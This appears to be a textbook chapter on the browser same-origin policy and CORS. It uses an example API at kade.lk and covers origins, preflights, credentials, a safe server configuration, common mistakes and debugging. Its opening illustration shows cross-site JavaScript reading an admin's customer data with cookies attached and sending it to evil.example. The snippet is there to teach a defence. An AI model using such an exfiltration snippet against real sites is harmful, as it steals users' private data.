Why browsers need a rule
Your browser is logged in to many sites at once: Kadé's admin panel, your bank, your email. Each has cookies the browser sends automatically (chapter 24). Now you open some random page, and its JavaScript runs:
const r = await fetch('https://admin.kade.lk/api/customers', { credentials: 'include' });
const data = await r.json(); // your admin cookie was attached…
sendTo('https://evil.example', data); // …and now every customer's details are stolen
If this worked, any website could read anything any other site shows you. The same-origin policy (SOP) is the browser rule that stops it: a page may freely read responses only from its own origin.
What an origin is
An origin is three things together: scheme + host + port. All three must match exactly. The path does not matter.
| # | Compared with https://kade.lk | Same origin? | Why |
|---|---|---|---|
| 1 | https://kade.lk/orders/1042 | yes | Only the path differs |
| 2 | https://api.kade.lk | no | Different host |
| 3 | https://www.kade.lk | no | Different host (www counts) |
| 4 | http://kade.lk | no | Different scheme |
| 5 | https://kade.lk:8443 | no | Different port (https means 443) |
| 6 | http://localhost:3000 | no | Everything differs: this is your local frontend in development |
Check any pair yourself:
| Part | Page | Request | |
|---|---|---|---|
| Scheme | https | https | same |
| Host | kade.lk | api.kade.lk | different |
| Port | 443 | 443 | same |
Cross-origin: the page can read responses only if the server allows it with CORS. They are still same-site (kade.lk), so SameSite=Lax cookies are sent.
“Site” here uses the last two labels of the host. Real browsers use the Public Suffix List, which knows that names like .com.lk or .co.uk are suffixes too.
What the policy blocks, and what it allows
The same-origin policy is narrower than most people think. It mainly stops reading, not sending:
| # | A page on kade.lk tries to … | Allowed? | Notes |
|---|---|---|---|
| 1 | Read the response of fetch() to api.kade.lk | blocked, unless CORS allows it | This chapter's main topic |
| 2 | Send a fetch() or form POST to api.kade.lk | the request is sent | The browser may just refuse to show the answer. See section 4. |
| 3 | Show <img>, load <script>, CSS, fonts, video from another origin | yes | It can use them, but cannot read their raw bytes |
| 4 | Read the page inside an <iframe> from another origin | blocked | It can show it, not look inside it |
| 5 | Read another origin's localStorage or cookies from JavaScript | blocked | Storage is kept per origin |
"Sending is allowed": CSRF
Row 2 surprises people. A malicious page cannot read Kadé's responses, but it can make your browser send requests to Kadé, with your cookies attached. If kade-api changed something on such a request (POST /account/email), the damage is done even though the attacker never sees the reply. This is CSRF (cross-site request forgery).
CORS: the server opts in
CORS (Cross-Origin Resource Sharing) is how a server tells the browser "pages from these other origins may read my responses". The browser sends an Origin header saying where the page came from; the server answers with Access-Control-Allow-Origin:
- The server only declares; the browser enforces. kade-api sends its answer either way. If the headers do not allow the page's origin, the browser hides the response from JavaScript and shows a CORS error in the console.
- That is why curl and Postman never have CORS problems. They are not browsers and do not enforce the policy. "It works in Postman but not in the browser" is the classic CORS symptom.
Simple requests and preflights
For some requests the browser first asks permission with a preflight: an OPTIONS request describing what it wants to send. Only if the answer allows it does the real request go out. Requests that could already be made by an old-fashioned HTML form skip the preflight; these are called simple requests:
| A request is "simple" only if | Details |
|---|---|
| Method is | GET, HEAD or POST |
| Headers are only | a small safe list (Accept, Accept-Language, Content-Language, Content-Type, and a few others). Authorization and any custom header (X-Request-Id …) are not on it. |
| Content-Type is one of | text/plain · multipart/form-data · application/x-www-form-urlencoded application/json is not on the list |
| Header | Meaning |
|---|---|
| Access-Control-Request-Method: PATCH | (preflight request) "the real request will be a PATCH" |
| Access-Control-Request-Headers: authorization, content-type | (preflight request) "and it will carry these headers" |
| Access-Control-Allow-Methods: GET, POST, PATCH, DELETE | (preflight response) methods allowed |
| Access-Control-Allow-Headers: authorization, content-type | (preflight response) headers allowed |
| Access-Control-Max-Age: 600 | (preflight response) cache this answer for 10 minutes, so the next calls skip the preflight |
Try it: will this request work?
kade-api allows https://kade.lk and https://admin.kade.lk, with credentials, the methods GET/POST/PATCH/DELETE and the headers Authorization and Content-Type. Build a request from a page and follow the browser's steps:
- Cross-origin (https://kade.lk → https://api.kade.lk). The browser adds
Origin: https://kade.lk. - This is a simple request: no preflight. The request goes straight to kade-api.
- Response has
Access-Control-Allow-Origin: https://kade.lk. The page may read the reply. (No cookies were sent: credentials were not requested.)
The page gets the response.
Credentials: cookies across origins
By default a cross-origin fetch() sends no cookies. To send them, the page asks with credentials: 'include', and the server must agree more strictly:
| Access-Control-Allow-Credentials: true | Required, or the browser hides the response |
| Access-Control-Allow-Origin: https://kade.lk | Must be the exact origin. * is not allowed with credentials. |
| The cookie's own SameSite rule | Still applies. kade.lk → api.kade.lk is same-site, so a SameSite=Lax cookie is sent. A truly cross-site caller (another domain) needs SameSite=None; Secure. |
Reading response headers
Even when CORS allows the response, JavaScript can only read a few "safe" response headers (Content-Type, Cache-Control and a handful more). If kade-api sends X-Total-Count for pagination, or Location after creating an order, it must list them:
Access-Control-Expose-Headers: X-Total-Count, Location
Configuring kade-api safely
const ALLOWED = new Set(['https://kade.lk', 'https://admin.kade.lk']);
if (process.env.NODE_ENV !== 'production') ALLOWED.add('http://localhost:3000');
app.use(cors({
origin: (origin, cb) => cb(null, !origin || ALLOWED.has(origin)), // exact matches only
credentials: true,
methods: ['GET', 'POST', 'PATCH', 'DELETE'],
allowedHeaders: ['Authorization', 'Content-Type'],
exposedHeaders: ['X-Total-Count', 'Location'],
maxAge: 600,
}));
| # | Mistake | Why it is dangerous |
|---|---|---|
| 1 | Copying the request's Origin back into Allow-Origin, with credentials | Every website becomes "allowed", with your users' cookies. The same as having no policy. |
| 2 | Checking origins with "ends with kade.lk" or a loose regex | https://evilkade.lk or https://kade.lk.evil.example passes. Compare exact strings. |
| 3 | Allowing the origin null | Sandboxed iframes and local files send Origin: null, and attackers can produce it too |
| 4 | Allowing localhost in production | Any program on a user's machine can serve localhost |
| 5 | Forgetting Vary: Origin when the answer depends on the origin | A cache or CDN may store the response allowed for one origin and serve it to another. Most CORS libraries add it. |
Debugging CORS errors
The browser console only says "blocked by CORS policy". The real cause is usually one of these:
| # | Symptom | Real cause | Fix |
|---|---|---|---|
| 1 | Preflight fails with 401 | The auth middleware runs before CORS and rejects the OPTIONS request, which never carries the token | Answer OPTIONS before authentication |
| 2 | Preflight fails with 404 or 405 | No route handles OPTIONS | Let the CORS middleware answer it |
| 3 | "Redirect is not allowed for a preflight request" | http → https or a trailing-slash redirect on the API | Call the final URL directly |
| 4 | A 500 shows up as a CORS error | The error handler sends a response without CORS headers, so the browser hides it | Add CORS headers to error responses too; check the Network tab, not the console |
| 5 | "Wildcard '*' cannot be used … credentials" | Allow-Origin: * with credentials: include | Return the exact origin |
| 6 | Works locally, fails in production | A proxy, load balancer or CDN in front strips or caches the headers | Check the headers the browser actually received |
What CORS is not, and a way to avoid it
- Not server protection. curl, scripts and other servers ignore it entirely. Authentication and authorization still protect kade-api.
- Not CSRF protection (section 4).
- Not for WebSockets. Browsers do not apply CORS to them; check
Originin the handshake yourself (chapter 26). - Avoiding it: if the site and the API share one origin, there is nothing to configure. A load balancer can serve both from
https://kade.lk, sending/api/*to kade-api and everything else to the frontend. No CORS headers, no preflights, no extra round trips.
Related browser protections
| # | Mechanism | What it controls |
|---|---|---|
| 1 | SameSite cookies | Whether cookies go along on cross-site requests (chapter 24, section 4 above) |
| 2 | CSP (Content-Security-Policy) | Which scripts, styles and servers your own page may load or talk to. Limits the damage of injected scripts (XSS). |
| 3 | X-Frame-Options / CSP frame-ancestors | Whether other sites may put your page in an iframe (stops clickjacking on the admin panel) |
| 4 | CORP, COOP, COEP | Newer headers that isolate a site's resources and windows from other origins |
Summary
| # | Idea | In one line | New terms |
|---|---|---|---|
| 1 | Why | Stop one site's scripts reading another site's data using your cookies | same-origin policy |
| 2 | Origin | Scheme + host + port, exactly; a site is looser (kade.lk and api.kade.lk are same-site) | origin, site |
| 3-4 | Rules | Reading is blocked; sending is not, hence CSRF | CSRF |
| 5 | CORS | Origin → Access-Control-Allow-Origin; the browser enforces | CORS |
| 6 | Preflight | OPTIONS first for non-simple requests (JSON, Authorization); cache with Max-Age | simple request, preflight |
| 8-9 | Credentials, exposure | Allow-Credentials + exact origin; Expose-Headers for custom headers | |
| 10-11 | Practice | Exact allowlist, Vary: Origin; OPTIONS before auth; CORS on error responses | |
| 12-13 | Limits | Not auth, not CSRF defence, not WebSockets; same origin avoids it; CSP and friends | CSP |
Try it yourself
A preflight, by hand
- What to look for:
204with Allow-Origin, Allow-Methods, Allow-Headers, Max-Age. - From section: 6. Simple requests and preflights
curl -i -X OPTIONS https://api.kade.lk/orders -H 'Origin: https://kade.lk' -H 'Access-Control-Request-Method: POST' -H 'Access-Control-Request-Headers: authorization,content-type'What kade-api says to a stranger
- Steps: Same command with
-H 'Origin: https://evil.example' - What to look for: No
Access-Control-Allow-Originheader at all. - From section: 10. Configuring kade-api safely
-H 'Origin: https://evil.example'A simple request's CORS headers
- What to look for:
Access-Control-Allow-Origin: https://kade.lkandVary: Origin. - From section: 5. CORS: the server opts in
curl -i https://api.kade.lk/health -H 'Origin: https://kade.lk'The browser's view
- Steps: DevTools → Network → the OPTIONS row → Headers
- What to look for: Status, and whether the allow headers match what the real request needs.
- From section: 11. Debugging CORS errors
The policy in action
- Steps: DevTools console on any site:
fetch('https://example.com').then(r => r.text()) - What to look for: A CORS error, even though the Network tab shows the request succeeded.
- From section: 1. Why browsers need a rule
fetch('https://example.com').then(r => r.text())